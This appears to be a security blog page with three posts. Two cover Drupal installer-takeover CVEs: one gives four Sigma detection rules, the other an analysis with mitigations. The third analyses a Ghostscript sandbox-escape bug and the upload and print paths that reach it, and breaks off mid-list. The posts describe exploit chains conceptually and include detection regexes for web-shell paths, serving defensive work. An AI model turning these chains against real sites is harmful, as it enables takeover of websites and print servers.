Category: Offensive Security

Detecting Drupal installer takeover: 4 Sigma rules for web logs and host files

Detecting Drupal installer takeover: 4 Sigma rules for web logs and host files

Drupal’s installer flaws are a detection engineer’s dream and nightmare at once. The dream: the attack has to go through one URL, /core/install.php, that a finished production site has no business serving. The nightmare: neither Drupal nor the researchers published a single IP address, hash or user agent, and Drupal itself says a compromised site may no longer look vulnerable.

This post is the companion to my analysis of CVE-2026-136716 and the earlier Fail2Install bug. Here you get four Sigma rules built on behaviour, what each one catches, how to tune it, and how to test it safely in a lab.

At a glance

  • Rules: 4 rule files (one of them a Sigma v2 correlation with its own base rule).
  • Domains: Web/App (3) and Linux (1).
  • Log sources: web server access logs with method and full path; host file events from Sysmon for Linux, auditd or an EDR.
  • ATT&CK: T1190 Exploit Public-Facing Application (Initial Access) and T1505.003 Web Shell (Persistence).
  • Status: one rule test (vector confirmed by Drupal), three experimental (built from researcher write-ups and my own reasoning).
  • GitHub: Detection Rules/Web-App and Detection Rules/Linux.

The case in brief

Drupal fixed CVE-2026-132165 (SA-CORE-2026-017) on November 18, 2026, and reported exploitation on live sites from November 19 at 19:00 UTC. A week later, on November 25, it fixed CVE-2026-136716 (SA-CORE-2026-019) for sites in unusual or incomplete installation states that the first fix missed, and said that one is exploited in the wild too. In both cases the attacker uses the installer to reinstall Drupal on a live site and take it over. The full story is in the analysis.

For detection, the steps that matter and where they leave traces are these. The attacker requests the installer, and for Fail2Install, puts pressure on the database or the server so that the “already installed” check fails (Searchlight Cyber’s research). That shows up in access logs. The attacker then most likely submits installer forms (my inference), which are POST requests to the same path. On some setups the attacker can go further: Searchlight describes writing a SQLite database file with a .php name into the web root and running it through a crafted path. The CSA and Hive Security write-ups give that path shape as .php/core/ in the middle. That leaves a file on disk and one more odd line in the access log. The account takeover itself happens inside Drupal and does not reach the web server logs in a useful way.

Detection map

Block diagram: web access logs and Linux host file events feed four Sigma rules (installer POST request, installer request burst correlation, .php/core/ path trick, PHP file in public files) mapped to ATT&CK T1190 and T1505.003, with the user 1 takeover marked as a gap to check by hand.
Two log sources, four rules. The admin takeover itself stays a manual check.

Two log sources feed four rules. The web access log carries three of them: the installer POST, the burst correlation and the .php/core/ path. Host file events carry the fourth, a PHP file appearing under sites/*/files. Together they cover the initial access and the web shell step. The account takeover in the middle is the gap: it lives in Drupal’s own logs and state, so I treat it as a manual check, not a rule.

Rule overview

RuleDomainLog sourceATT&CK (tactic / technique)LevelStatus
Drupal installer POST requestWeb/AppwebserverInitial Access / T1190Hightest
Burst of installer requests from one clientWeb/Appwebserver (correlation)Initial Access / T1190Mediumexperimental
PHP file requested with trailing /core/ pathWeb/AppwebserverPersistence / T1505.003Highexperimental
PHP file created in Drupal public filesLinuxlinux / file_eventPersistence / T1505.003Highexperimental

The rules

Drupal installer POST request

Context: Drupal names the installer as the vector for both exploited bugs. My inference is that a reinstall most likely needs someone to submit installer forms on a site that is already running, with or without a resource flood, so this is the rule with the best signal. It is test rather than experimental because Drupal itself names the installer as the vector.

Condition: alert on any POST request whose path contains /install.php. The contains match also catches /core/install.php/foo style paths, which Drupal’s own hardening guide warns about.

ATT&CK: Initial Access (TA0001) – T1190 Exploit Public-Facing Application.

title: Drupal Installer POST Request - Potential CVE-2026-136716 / CVE-2026-132165 Site Takeover
id: d251aa0a-f5e0-4e6a-85f2-31c59d86e62c
status: test
description: |
    Detects HTTP POST requests to the Drupal installer (install.php). Drupal names the installer as the vector for both
    exploited flaws, SA-CORE-2026-017 and SA-CORE-2026-019. A reinstall most likely requires submitting installer
    forms (inference), which a site that is already installed should never receive.
references:
    - https://www.drupal.org/sa-core-2026-019
    - https://www.drupal.org/sa-core-2026-017
    - https://www.drupal.org/docs/administering-a-drupal-site/security-in-drupal/securing-the-installer-installphp
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026-136716
    - cve.2026-132165
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_path:
        cs-uri-stem|contains:
            - '/core/install.php'
            - '/install.php'
    selection_method:
        cs-method: 'POST'
    condition: all of selection_*
falsepositives:
    - Building a brand new Drupal site or adding a multisite site through the browser installer
    - Staging or development hosts that are reinstalled on purpose (scope the rule to production hosts)
level: high

View on GitHub

False positives and tuning: new site builds and multisite additions done in the browser will fire it. Scope it to production host names, or add a filter for the IP addresses your team installs from. If you have already blocked the installer, you’ll see hits with status 403 or 404. Keep them; they tell you who is probing, and you can lower the level for blocked responses with a filter on sc-status.

How to test: on a lab Drupal site, send any harmless POST to /core/install.php (an empty form body is enough) and check that the access log line matches.

Burst of Drupal installer requests from one client

Context: Searchlight’s Fail2Install technique depends on a database check failing at exactly the right moment. My inference is that real attempts will hit the installer many times in a short window, much more than a scanner checking once. This rule is a Sigma v2 event_count correlation: a low-level base rule matches any installer request, and the correlation fires when one client crosses a threshold.

Condition: alert when one client address sends 30 or more requests to the installer on one host within one minute. The threshold is my starting point, not a value from any source.

ATT&CK: Initial Access (TA0001) – T1190 Exploit Public-Facing Application.

title: Drupal Installer Request From Any Client
id: 75e838b2-152b-43ec-b7a4-413b0331d848
name: web_drupal_installer_request_any
status: experimental
description: |
    Base rule for the burst correlation below: any request to the Drupal installer. Not meant to alert on its own.
references:
    - https://www.drupal.org/sa-core-2026-017
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026-132165
    - detection.threat-hunting
logsource:
    category: webserver
detection:
    selection:
        cs-uri-stem|contains:
            - '/core/install.php'
            - '/install.php'
    condition: selection
falsepositives:
    - Uptime checks or scanners that request install.php
level: low
---
title: Burst Of Drupal Installer Requests From One Client - Potential Fail2Install Attempt
id: 8d2db544-b525-4e65-9bb3-fad5250d6ca7
status: experimental
description: |
    Detects one client sending many requests to the Drupal installer within a minute. The Fail2Install technique
    (CVE-2026-132165) relies on making database checks fail at the right moment, so I expect attempts to repeat the
    installer request many times (inference). The threshold of 30 per minute is my own starting point, not a source value.
references:
    - https://www.slcyber.io/research/fail2install-system-limits-pre-auth-rce-drupal
    - https://www.drupal.org/sa-core-2026-017
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026-132165
    - detection.emerging-threats
correlation:
    type: event_count
    rules:
        - web_drupal_installer_request_any
    group-by:
        - c-ip
        - cs-host
    timespan: 1m
    condition:
        gte: 30
falsepositives:
    - Load tests or security scans aimed at the site
    - Many users behind one NAT or proxy address (group by X-Forwarded-For if your logs keep it)
level: medium

View on GitHub

False positives and tuning: load tests and authorised scans will trip it, and so will many users behind one NAT or proxy address. If your logs keep X-Forwarded-For, group by that instead of c-ip. Remember that CVE-2026-136716 may not need a flood at all, so a quiet result here does not clear a site. The base rule on its own is a decent hunting query for the retro-hunt.

How to test: send 30 plain GET requests to /core/install.php on a lab site from one machine within a minute and check that the correlation fires once your backend supports Sigma correlations.

PHP file requested with trailing /core/ path

Context: Searchlight explains that the stock Drupal .htaccess rule meant to stop PHP files outside core from running was not anchored, so a crafted path slipped past it. The Cloud Security Alliance note and Hive Security give the shape to look for: a .php file followed by an extra /core/<name>.php segment. I am matching the path shape only, not a full request.

Condition: alert on any request whose path contains a .php file followed by /core/ and another .php name.

ATT&CK: Persistence (TA0003) – T1505.003 Web Shell.

title: Drupal PHP File Requested With Trailing /core/ Path - Potential Fail2Install Code Execution
id: aba8fc39-98da-47fa-be7a-8609c0d87300
status: experimental
description: |
    Detects requests where a .php path is followed by an extra /core/<name>.php segment. Searchlight Cyber says a crafted
    path got past the stock Drupal Apache .htaccess rule in the Fail2Install chain (CVE-2026-132165); the CSA and Hive
    Security write-ups list this path shape as an indicator. Built from published research, not from vendor IOCs.
references:
    - https://www.slcyber.io/research/fail2install-system-limits-pre-auth-rce-drupal
    - https://labs.cloudsecurityalliance.org/research/csa-research-note-drupal-fail2install-ai-found-installer-tak/
    - https://hivesecurity.gitlab.io/blog/drupal-cve-2026-136716-installer-takeover/
    - https://www.drupal.org/sa-core-2026-017
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.persistence
    - attack.t1505.003
    - cve.2026-132165
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection:
        cs-uri-stem|re: '\.php/core/[^/]*\.php'
    condition: selection
falsepositives:
    - Scanners and vulnerability checks that probe this path pattern (still worth a look on a Drupal host)
level: high

View on GitHub

False positives and tuning: I don’t know of a legitimate Drupal route with this shape, so expect hits from scanners testing for the bug. Check the response code: a 200 for one of these paths deserves an incident ticket, a 404 is a probe. Make sure your log format keeps the full path; some setups split the path info part out.

How to test: request /modules/test.php/core/test.php on a lab site. It will typically return 404, depending on the server, and the log line should match.

PHP file created in Drupal public files directory

Context: Drupal’s public files directory under sites/<site>/files is for uploads and generated assets. The CSA note lists PHP files in the public files directory as an indicator. The exception is my own: from general Drupal knowledge, the default compiled Twig cache lives under files/php/twig, so I filter that path. A new PHP file anywhere else in that tree is most likely a web shell or a database file planted through the installer. This rule outlives the CVE, which is why it carries no emerging-threat tag.

Condition: alert when a file ending in .php is created under a path containing /sites/ and /files/, unless the path contains /files/php/twig/.

ATT&CK: Persistence (TA0003) – T1505.003 Web Shell.

title: PHP File Created In Drupal Public Files Directory
id: 9857fb99-344e-4407-8333-68aadb13f0f1
status: experimental
description: |
    Detects creation of a .php file under a Drupal sites/<site>/files directory. CSA lists PHP files in the public files
    directory as an indicator; excluding files/php/twig (the default compiled Twig cache) is my own tuning. A new PHP
    file there points to a web shell or to a database file planted through the installer (Fail2Install chain).
references:
    - https://labs.cloudsecurityalliance.org/research/csa-research-note-drupal-fail2install-ai-found-installer-tak/
    - https://www.slcyber.io/research/fail2install-system-limits-pre-auth-rce-drupal
    - https://www.drupal.org/sa-core-2026-019
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.persistence
    - attack.t1505.003
    - cve.2026-132165
    - cve.2026-136716
logsource:
    product: linux
    category: file_event
detection:
    selection:
        TargetFilename|contains: '/sites/'
        TargetFilename|endswith: '.php'
    selection_files_dir:
        TargetFilename|contains: '/files/'
    filter_main_twig_cache:
        TargetFilename|contains: '/files/php/twig/'
    condition: all of selection* and not 1 of filter_main_*
falsepositives:
    - Sites that moved the Twig cache or other generated PHP into a custom path under files/ (add that path as a filter)
    - Backup or migration tools that copy PHP files into the files directory
level: high

View on GitHub

False positives and tuning: if you moved the Twig cache or keep other generated PHP under files/, add that path as a filter. Backup and migration tools that copy whole trees can also trip it. The bigger limit is telemetry: file creation events are not collected by default on Linux, so you need Sysmon for Linux, an auditd watch on the files directory, or an EDR. A file written somewhere other than files/ will not match.

How to test: on a lab host with file telemetry on, run touch sites/default/files/test.php and check for an alert, then create a file under sites/default/files/php/twig/ and check that the filter keeps it quiet.

Coverage and gaps

Step in the caseTacticTechniqueRuleCovered?
Reach the installer and flood it (Fail2Install)Initial Access (TA0001)T1190Installer request burstPartly, threshold based
Submit installer forms and reinstallInitial Access (TA0001)T1190Installer POST requestYes
Take over user 1 or create an adminPersistence (TA0003)T1078 Valid AccountsNoneGap: Drupal logs and state, manual check
Write PHP through a SQLite filePersistence (TA0003)T1505.003PHP file in public filesYes, with host file telemetry
Run it through a .php/core/ pathPersistence (TA0003)T1505.003.php/core/ pathYes

What none of these rules can see is the account takeover itself. Drupal’s advice is to check logs for changes to or by user 1, set its email to one you control and consider resetting its password. Do that by hand, along with looking for administrators you don’t recognise. Hive Security also suggests checking the installer state with drush state:get install_task (expect done) and drush state:get install_time (expect the original install time). The CSA note lists database error strings that appear during the resource flood, such as PostgreSQL refusing extra clients or MySQL reporting too many connections. Those are worth a manual search of your database and PHP error logs for the days after November 18, but ordinary overload produces them too, so I did not turn them into a rule.

Deploying the rules

Pull the YAML from the GitHub folders above and convert it with sigma-cli for your SIEM. The web rules use the standard webserver field names (cs-uri-stem, cs-method, c-ip), so you need a pipeline that maps them to your Apache or nginx fields. The Linux rule uses TargetFilename as Sysmon for Linux does. A few examples:

sigma convert -t splunk --without-pipeline web_drupal_installer_post_request.yml
sigma convert -t lucene --without-pipeline web_drupal_php_path_info_core_bypass.yml
sigma convert -t splunk --without-pipeline file_event_lnx_drupal_php_file_in_public_files.yml

--without-pipeline keeps the Sigma field names as they are, so rename them to your own log schema (or write a small pipeline) before the query returns anything. The correlation rule needs a backend that supports Sigma correlations; if yours does not, run the base rule as a scheduled search with a count. Run everything in alert-only mode for a week before it pages anyone, and do a retro-hunt back to November 18, 2026 on day one.

My take

This is one of the more detectable critical bugs I’ve written rules for, and that’s because of where it lives. Every variant has to pass through one URL that a finished site never needs. If I could only deploy one rule, it would be the installer POST, and I’d pair it with the web server block from the analysis so that a hit means “someone tried” rather than “someone got in”.

The weak spot is the part attackers care about most: the takeover of user 1 happens inside Drupal, and default logging does not make it easy to see from outside. I’d like Drupal to log any write to the installer state, and any change to user 1’s email or password, to syslog by default, with a clear event name a SIEM can key on. Until then, the manual checks in the gaps section are not optional.

Sources

Drupal’s installer got patched twice in a week, and attackers used both gaps

Drupal’s installer got patched twice in a week, and attackers used both gaps

Every Drupal site ships with a file whose whole job is to build a brand new site: core/install.php. On most production sites it sits there for years, answering “already installed” to anyone who asks. In the last week it has answered something else, twice, and attackers were listening both times.

On November 25, 2026 the Drupal Security Team published SA-CORE-2026-019 (CVE-2026-136716), a “Highly critical” access bypass that lets an unauthenticated attacker take over a site through the installer. It exists because the fix from one week earlier, SA-CORE-2026-017 (CVE-2026-132165, the bug Searchlight Cyber nicknamed “Fail2Install”), did not cover sites stuck in unusual or incomplete installation states. Drupal says both are exploited in the wild, and CISA added the new one to its Known Exploited Vulnerabilities (KEV) catalog on November 27 with a November 30 deadline.

Severity in one line: critical. Unauthenticated, remote, full site takeover, confirmed exploitation, and a fix that only works if you also run the database updates.

At a glance

  • CVEs: CVE-2026-136716 (SA-CORE-2026-019, November 25, 2026) and the earlier CVE-2026-132165 (SA-CORE-2026-017, November 18, 2026).
  • Scores: Drupal risk 21/25 and 20/25, both “Highly critical”. CVSS 3.1 9.8 for both on NVD (CVE-2026-136716 from CISA’s ADP entry; CVE-2026-132165 from NVD, with CISA’s ADP entry at 8.1).
  • Affected: Drupal core before 10.6.23, 11.0.0 to before 11.3.23, and 11.4.0 to before 11.4.14, when the installer is reachable. Drupal 11.2.x and older, 10.5.x and older, and Drupal 8 and 9 are end-of-life and get no fix.
  • Exploitation: confirmed by Drupal for both. First reported exploitation of CVE-2026-132165 on November 19, 2026 at 19:00 UTC. Both are in CISA KEV (added November 24 and November 27).
  • Fix: 10.6.23, 11.3.23 or 11.4.14, then run update.php (or drush updatedb), then block install.php at the web server.
  • Who should care: anyone running a supported Drupal 10 or 11 release below the fixed versions, anyone on an end-of-life branch (Searchlight lists Drupal 8.9 and 9 as affected by the first bug), and teams whose deploys skip database updates.

What happened

The story starts with SA-CORE-2026-017 on November 18, 2026. Drupal’s advisory was short: under specific conditions an attacker can use the installer to try to reinstall Drupal on an existing site, which can lead to site takeover or remote code execution. Drupal credited the find to Anthropic’s OSS Scanner.

Drupal later updated that advisory: the Security Team received a report of exploitation on live sites as early as November 19 at 19:00 UTC. That is roughly a day after the patch. On November 24, CISA put CVE-2026-132165 into KEV, and Searchlight Cyber researchers Kevin Gervot and Adam Kues published their own write-up of the bug. Their report to Drupal had been a duplicate, but they had confirmed pre-auth code execution on a stock Apache and PostgreSQL setup back on October 27.

Then came SA-CORE-2026-019 on November 25. Drupal’s wording: the first fix closed several installer holes, but some sites in unusual or incomplete installation states were still open to takeover, production sites included. The vulnerable state is not visible in the admin interface, sites already compromised may no longer look vulnerable, and any site that left its installer reachable after SA-CORE-2026-017 may already have been taken over. The advisory is blunt: “This is being exploited in the wild.”

Timeline for November 2026: Nov 18 SA-CORE-2026-017 fixes CVE-2026-132165, Nov 19 exploitation reported from 19:00 UTC, Nov 24 Searchlight write-up and KEV listing, Nov 25 SA-CORE-2026-019 for exploited CVE-2026-136716, Nov 27 KEV listing with a Nov 30 deadline.
Two Drupal installer advisories in a week, both exploited.

How it works

Drupal has not published exploit details, so this section leans on named researchers, labelled as such, and stays conceptual.

The installer first asks: “Is Drupal already installed here?” According to Searchlight, in the vulnerable versions that check failed open. A transient database failure made the installer treat a live site as not installed, which brought the setup forms back.

The clever part of the Searchlight research is how they made that error happen on demand. They looked at three system limits: open file descriptors, the database’s maximum connections, and TCP ephemeral source ports. Push any of them to the edge and new database connections fail for a moment. Resource exhaustion is usually filed under “availability”; here it became an authentication bypass. Searchlight says it worked with Apache or PHP-FPM and MySQL or PostgreSQL on Drupal 8.9, 9, 10 and 11, with PHP-FPM harder. Drupal 7 and Drupal 8 before 8.9 are not affected, per the researchers.

Once the installer is open, the attacker gets to configure the site. Searchlight describes turning that into code execution: the installer accepted a user-chosen SQLite database file path, so a database file could be placed under the web root with a PHP extension and content the attacker controls, and the stock Apache .htaccess rule meant to stop such files running was not anchored, so a crafted path slipped past it. Even without that step, my reading is that whoever completes a reinstall controls the administrator account it sets up; Drupal itself just calls the result site takeover.

Four-step chain: starve the database so a check fails, the installer fails open on a live site, the attacker reinstalls and takes the administrator account, then a SQLite file with a .php name in the web root runs as code. Step three is my inference.
The Fail2Install chain as Searchlight Cyber describes it, at a conceptual level. Drupal has not published exploit details.

CVE-2026-136716 is the leftover gap. Drupal only says it affects sites in unusual or incomplete installation states and that an update hook must run to fix sites already in that state. Hive Security read the fix commit and inferred that the first patch missed one stored state: an install task recorded with no install time. The new update hook writes the missing values. That is a reading of a diff, not a Drupal statement, but it explains why upgrading code alone is not enough.

Who is affected and how badly

The precondition is simple: the installer has to be reachable from the internet. Drupal says sites that already secured install.php are not vulnerable to SA-CORE-2026-019. The catch: securing it is a web server rule or Composer script each site owner adds, per Drupal’s “Securing the installer” page, and the reported exploitation says enough sites never did.

No login is needed. For CVE-2026-136716 Drupal describes site takeover, and CISA scores it automatable with total technical impact. Code execution as the web server account comes from Searchlight’s research on the first bug, CVE-2026-132165. The unusual-state condition sounds narrow, but the admin UI can’t show it, so treat every reachable installer as exposed until updates have run.

End-of-life branches (Drupal 8, 9, 10.5 and older, 11.2 and older) get no fix from Drupal. Searchlight lists 8.9 and 9 as affected by the first bug; nobody has said whether they are affected by the second. Either way, blocking the installer is the only protection those sites can get, and Drupal says sites with a secured installer are not vulnerable to SA-CORE-2026-019.

Unknown as of November 28, 2026: who is exploiting these bugs, how many sites were hit, and what attackers do next. Drupal has published no victim count or IOCs.

What to do now

  1. Block the installer first, right now, before the maintenance window. On nginx, Drupal recommends a prefix match in the server block: location ^~ /core/install.php { return 404; }. Don’t use an exact location = match, which can miss paths like /core/install.php/foo. On Apache, put <Location "/core/install.php"> Require all denied </Location> in the virtual host, not in .htaccess, because Composer scaffolding overwrites .htaccess.
  2. Before you upgrade, save the evidence: web access logs since November 18, a database dump, and a copy of settings.php.
  3. Upgrade to 10.6.23, 11.3.23 or 11.4.14.
  4. Run update.php or drush updatedb. Drupal says an update hook must run to fix existing production sites in the vulnerable state. If your CI pipeline deploys code and skips database updates, the new release does not protect you.
  5. Check user 1, as Drupal advises: look at logs for changes to or by that account, set its email address to one you control, and consider resetting its password. Look for administrator accounts you don’t recognise.
  6. Verify the block from outside. Drupal’s page suggests requesting /core/install.php, /install.php and /core/install.php/foo; each should return 403 or 404. A 200 means the block isn’t working.
  7. If anything looks wrong, treat the site as compromised and follow the “Your Drupal site got hacked. Now what?” page that the advisory links. My own baseline for a compromised site: rebuild from trusted code, restore a database backup from before November 18, and rotate the database credentials and other secrets.

Detection and monitoring

Nobody has published IP addresses, hashes or user agents, so you detect behaviour. On an installed site nobody has a reason to submit installer forms, and that shows up in web access logs that record the method and full path. The code execution path Searchlight describes leaves two more traces: an odd .php/core/ request path, and a PHP file in the uploads directory, visible if you collect host file events. I wrote four Sigma rules around those signals.

RuleCategoryLog sourceATT&CKLevel
Drupal installer POST requestWeb/App, emerging threatwebserverT1190High
Burst of installer requests from one client (correlation)Web/App, emerging threatwebserverT1190Medium
PHP file requested with trailing /core/ pathWeb/App, emerging threatwebserverT1505.003High
PHP file created in Drupal public filesLinux, generic TTPlinux / file_eventT1505.003High

The one I’d turn on first is the simplest: alert on any POST request whose path contains /install.php. Scope it to production hosts, because building a new site or adding a multisite site through the browser fires it legitimately. It also fires on blocked attempts that got a 403 or 404, which is useful attempt telemetry even when the request failed.

title: Drupal Installer POST Request - Potential CVE-2026-136716 / CVE-2026-132165 Site Takeover
id: d251aa0a-f5e0-4e6a-85f2-31c59d86e62c
status: test
description: |
    Detects HTTP POST requests to the Drupal installer (install.php). Drupal names the installer as the vector for both
    exploited flaws, SA-CORE-2026-017 and SA-CORE-2026-019. A reinstall most likely requires submitting installer
    forms (inference), which a site that is already installed should never receive.
references:
    - https://www.drupal.org/sa-core-2026-019
    - https://www.drupal.org/sa-core-2026-017
    - https://www.drupal.org/docs/administering-a-drupal-site/security-in-drupal/securing-the-installer-installphp
    - https://netsec101.com/?p=563
author: netsec101.com
date: 2026-11-28
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026-136716
    - cve.2026-132165
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_path:
        cs-uri-stem|contains:
            - '/core/install.php'
            - '/install.php'
    selection_method:
        cs-method: 'POST'
    condition: all of selection_*
falsepositives:
    - Building a brand new Drupal site or adding a multisite site through the browser installer
    - Staging or development hosts that are reinstalled on purpose (scope the rule to production hosts)
level: high

For monitoring, run the rules back over your logs to November 18, 2026, the day the first fix shipped, since Drupal says exploitation started as early as the next evening. Also check by hand that user 1 and the administrator list look right, and that the installer state looks finished after updates (Hive Security suggests drush state:get install_task, which should return done). Keep the installer rules on after you patch: any later hit means someone is testing for the next installer bug.

I wrote up all four rules, with tuning notes, lab tests and the ATT&CK gaps, in a separate detection post. The YAML lives in my Detection Rules repo.

My take

I think the patch is the least interesting part of this story. The real bug is cultural: a production web app that keeps a “build me a new site” endpoint online forever, guarded only by a runtime check that says “looks installed to me”. Searchlight fooled that check with a briefly unavailable database; the second advisory fooled it with state the first fix never imagined. A third bypass would not surprise me. A blocked URL doesn’t care about clever state.

So my first action on any Drupal estate today is the web server rule, not the upgrade. It takes minutes, it covers end-of-life sites that will never get a patch, and it protects you from whatever the next installer bug turns out to be. I’d also like to see Drupal block the installer by default once a site is installed. Leaving it to a docs page invites sites to skip it.

The underrated detail is the update hook. Pipelines that ship code and leave drush updatedb as a manual step will show the patched version and stay vulnerable. On a fleet, check that the hook ran, not just the version.

Finally, the speed. An AI scanner found the first bug, two human researchers found it independently, and attackers used it about a day after the fix. With a gap that short, “we patch Drupal monthly” is not a plan for highly critical core advisories.

Sources

Upload2Shell: how a Ghostscript font bug turns upload boxes and printers into RCE

Upload2Shell: how a Ghostscript font bug turns upload boxes and printers into RCE

Someone sends a print job to a shared printer on a Debian 13 box. Nobody logs in, nobody clicks anything, and a command runs on the print server as the lp user. Swap the printer for a Roundcube inbox or a WordPress contact form with a file field and you get the same result as www-data. That is the core of Upload2Shell, the research Paulos Yibelo of pwn.ai published on November 21, 2026.

The bug itself, CVE-2026-125396, is a use-after-free in Ghostscript’s Type 1 font loader that lets a crafted document switch off the -dSAFER sandbox. The interesting part is not the memory bug. It is how many applications quietly hand an uploaded “JPG” or “PDF” to Ghostscript without anyone deciding they should. I rate this high: a public proof of concept exists, the fix (Ghostscript 10.08.0) has been out since September 8, 2026, and as of November 23 nobody has reported exploitation in the wild.

At a glance

  • CVE: CVE-2026-125396 (Ghostscript), plus CVE-2026-65640 for the WordPress core upload path.
  • CVSS: 8.5 under CVSS 4.0 and 7.8 under CVSS 3.1 in the CVE record (CNA VulnCheck), both with a local attack vector. WordPress scored its own fix 8.8. I could not retrieve an NVD assessment.
  • Affected: upstream Ghostscript before 10.08.0, including copies bundled into containers and application bundles.
  • Exploitation: public PoC from pwn.ai, replicated by iTnews. No in-the-wild exploitation reported as of November 23, 2026.
  • Fix: Ghostscript 10.08.0 or your distribution’s backport; WordPress 7.0.4, 6.9.7 and older-branch releases for CVE-2026-65640.
  • Who should care: anyone running a service that thumbnails, previews, converts or prints files from untrusted people. That is more of you than it sounds.

What we know

The CVE record, published November 9, 2026 by VulnCheck, describes the flaw plainly: a font helper called .putgstringcopy in gs_fonts.ps calls the privileged .forceput operator without checking what it was handed. A crafted PostScript or PDF file can trigger a type error, grab .forceput back through its own error handler, and cause a use-after-free across save/restore that leads to code execution. Ken Sharp is credited with the fix, which landed in Ghostscript 10.08.0 on September 8, 2026.

The disclosure history is messier than usual. WordPress shipped its mitigation on August 12, 2026, nearly a month before the Ghostscript release. Debian fixed trixie on September 25 (DSA-6516-1), and Ubuntu’s USN-8949-1 on October 21 covered a “font operand validation” issue with no CVE attached. According to iTnews, pwn.ai only requested a CVE on November 6, almost two months after the fix shipped. On oss-security, Jan Schaumann argued the bug should be treated as public from September 8 and said the coordination “leaves much to be desired.” I agree with him.

One date needs clearing up. CyberSecurityNews wrote that the research came out on November 17. The pwn.ai page itself, its timeline and iTnews all point to November 21, when Yibelo announced on X that the exploit would be released. I’m going with November 21.

Timeline of six dates: WordPress fix August 12, Ghostscript 10.08.0 September 8, Debian DSA September 25, Ubuntu USN October 21, CVE published November 9, and the pwn.ai write-up on November 21, 2026 with the PoC released that weekend
The fix shipped in September; the CVE arrived in November. Dates from pwn.ai, the CVE record and iTnews.

How it works

Ghostscript is a PostScript interpreter, and PostScript is a full programming language. -dSAFER is the sandbox that stops a document from opening files or running commands. Internally, Ghostscript’s own startup code still needs to do privileged things, so it has operators like .forceput that ignore access protections. The whole security model rests on those operators never being reachable from document code.

Per pwn.ai, the font helper needed that privileged store. If its copy step fails, a document’s error handler can catch the error and recover the operator. With it, the attacker gets a global object to keep a pointer into local memory, which a later restore frees. That dangling reference becomes native memory control, and from there the researchers changed the renderer’s sandbox state in memory, effectively switching -dSAFER off. I’m not going further than that; the mechanism is enough to understand the fix.

If this sounds familiar, it should. CVE-2018-16509 (Ghostscript before 9.24) abused failed restore handling to run commands. CVE-2019-14811 (before 9.50) was a privileged call left unprotected in .pdf_hook_DSC_Creator. iTnews notes that Tavis Ormandy found a related bug in the same font file in 2018. This is the same bug class coming back: privileged PostScript procedures that leak to user code via error handling. According to iTnews, Artifex is trying to remove the privileged internal operation that enables this class, which is the right answer.

The delivery chain is the real story

Ghostscript doesn’t listen on a port, which is why the CVE says “local.” The remote part comes from libraries that pick a decoder by file content, not file name. ImageMagick and Pillow both look at the magic bytes, so a file called invoice.jpg that actually contains PostScript gets routed to Ghostscript. Patchstack’s write-up of the WordPress fix shows exactly this: WP_Image_Editor_Imagick::load() trusted the extension, ImageMagick trusted the content, and a “.png” full of PostScript reached the interpreter.

Four-step chain: disguised PostScript file arrives, ImageMagick or Pillow route it to Ghostscript by content (print jobs via the gstopdf filter), font loader use-after-free disables -dSAFER, command runs as www-data or lp
How an ordinary upload, email or print job reaches Ghostscript. Based on the pwn.ai write-up and Patchstack.

The pwn.ai write-up lists the paths it confirmed:

  • CUPS on Debian 13: an unauthenticated IPP Print-Job to a shared network queue reached Ghostscript through the gstopdf filter, running as uid=7(lp).
  • Roundcube (1.7.2 per CyberSecurityNews): viewing an email with a disguised attachment triggered an ImageMagick thumbnail. The sender needed no account. This one depended on a permissive ImageMagick delegate policy.
  • WordPress core: Author-level users with upload_files. Forminator and Essential Addons for Elementor exposed the same path to signed-out visitors through public upload fields in the tested configurations.
  • MediaWiki with PdfHandler and anonymous uploads, DokuWiki with ImageMagick, Mayan EDMS email import, ResourceSpace, Plesk’s Roundcube and Paperless-ngx, which calls Ghostscript directly for PDF/A conversion.
  • Libraries that reached Ghostscript: Pillow’s EPS decoder, ImageMagick’s PostScript delegate, libvips via magickload, Qt KImageFormats and Matplotlib’s EPS path. PHP GD, OpenCV, Sharp, Jimp, Java ImageIO and Go’s decoders did not in their tests.

pwn.ai also named Google (closed November 10) and Dropbox, but says those were separate findings with different root causes, so don’t count them as CVE-2026-125396 victims.

Who is affected and how badly

The CVSS vector understates network exposure and overstates the blast radius at the same time. Understates, because “local” here means “any file that reaches the renderer,” and plenty of renderers sit behind anonymous upload fields. Overstates, because code runs as the service account (www-data, lp), not root, and many paths need a specific config: a shared CUPS queue, a permissive ImageMagick policy, a plugin with a public upload field.

The part that worries me is patch visibility. Distros backport without bumping the version: Debian 13’s fixed build is still 10.05.1 (10.05.1~dfsg-1+deb13u2). As of pwn.ai’s November 12 snapshot, Debian 12, Amazon Linux 2/2023, SUSE Linux Enterprise and openSUSE Leap 16.x were still open, and RHEL-family status was not established. Debian’s tracker now lists a bookworm fix in 10.0.0~dfsg-11+deb12u9 via DLA-4914-1, so check again before you decide. And none of that helps the old Ghostscript baked into a container image built in August. As CyberSecurityNews put it, “Updating the host does not replace Ghostscript inside an existing container or application bundle.”

What to do now

  1. Find every Ghostscript, not just the system package. Check dpkg -l 'ghostscript*' 'libgs*' or rpm -q ghostscript on hosts, then scan container images and app bundles with your SBOM tool for gs binaries and libgs.so. Compare against the distro advisory, not the upstream version string.
  2. Patch to Ghostscript 10.08.0 or the backport: Debian trixie 10.05.1~dfsg-1+deb13u2 or later, Ubuntu per USN-8949-1 (for example 10.02.1~dfsg1-0ubuntu7.10 on 24.04 and 9.55.0~dfsg1-0ubuntu5.15 on 22.04). Rebuild images; don’t just patch the host.
  3. Update WordPress to 7.0.4 or the branch fix (6.9.7 and backports to every branch down to 4.7.35). Then audit plugins with public upload fields that feed the Media Library.
  4. Require authentication on shared CUPS queues and restrict who can reach port 631. An anonymous print queue on a routable network is an anonymous code execution queue today.
